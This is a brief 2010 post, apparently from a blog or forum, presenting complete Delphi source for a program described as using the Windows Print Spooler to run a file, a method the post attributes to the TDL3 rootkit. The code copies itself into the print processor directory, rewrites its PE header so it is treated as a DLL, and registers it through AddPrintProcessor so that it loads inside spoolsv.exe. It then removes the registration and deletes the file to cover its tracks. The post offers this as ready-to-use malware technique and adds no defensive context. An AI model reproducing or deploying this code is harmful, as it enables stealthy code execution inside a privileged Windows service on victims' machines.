Using Windows Print Spooler To Run A File

Post date: Sep 15, 2010 4:30:18 AM

This method is used by the TDL3 rootkit to run files.

program PrintInject;
{steve10120@ic0de.org}
uses
  Windows, Classes, WinSpool, SysUtils;
function PathFindFileNameA(szFilePath:PChar):PChar; stdcall; external 'shlwapi.dll';
procedure MainProc();
var
  szBuff: array[0..255] of Char;
  dwSize: DWORD;
  pProc:  Pointer;
  dwTick: DWORD;
  szPrint:  PChar;
  szFilePath: array[0..511] of Char;
  hFile:      DWORD;
  dwNull:     DWORD;
  IDH:        TImageDosHeader;
  INH:        TImageNtHeaders;
const
  szformat: PChar = '%08X';
begin
  GetModuleFileName(0, szFilePath, 512);
  if PathFindFileNameA(szFilePath) <> 'spoolsv.exe' then
  begin
    if GetPrintProcessorDirectory(nil, nil, 1, @szBuff[0], $104, dwSize) <> FALSE then
    begin
      lstrcat(szBuff, '\randomdll.dll');
      CopyFileA(szFilePath, szBuff, FALSE);
      hFile := CreateFile(szBuff, GENERIC_READ or GENERIC_WRITE, FILE_SHARE_READ or FILE_SHARE_WRITE, nil, OPEN_EXISTING, 0, 0);
      if hFile <> INVALID_HANDLE_VALUE then
      begin
        SetFilePointer(hFile, 0, nil, FILE_BEGIN);
        ReadFile(hFile, IDH, 64, dwNull, nil);
        if IDH.e_magic = IMAGE_DOS_SIGNATURE then
        begin
          SetFilePointer(hFile, IDH._lfanew, nil, FILE_BEGIN);
          ReadFile(hFile, INH, 248, dwNull, nil);
          if INH.Signature = IMAGE_NT_SIGNATURE then
          begin
            INH.FileHeader.Characteristics := $A18E;
            SetFilePointer(hFile, IDH._lfanew, nil, FILE_BEGIN);
            WriteFile(hFile, INH, 248, dwNull, nil);
          end;
        end;
        CloseHandle(hFile);
      end;
      pProc := GetProcAddress(GetModuleHandle('ntdll.dll'), '_snprintf');
      dwTick := GetTickCount;
      GetMem(szPrint, 256);
      asm
        push eax
        push ecx
        push edx
        push dwTick
        push szformat
        push $14
        push szPrint
        call pProc
        pop edx
        pop ecx
        pop eax
      end;
      AddPrintProcessor(nil, nil, PChar(PathFindFileNameA(szBuff)), szPrint);
      DeletePrintProcessor(nil, nil, szPrint);
      DeleteFileA(szBuff);
      FreeMem(szPrint, 256);
    end
    else
      MessageBox(0, 'Get directory failed', nil, 0);
  end
  else
    MessageBox(0, 'Inside spoolsv.exe', 'Success', 0);
end;
begin
  MainProc;
end.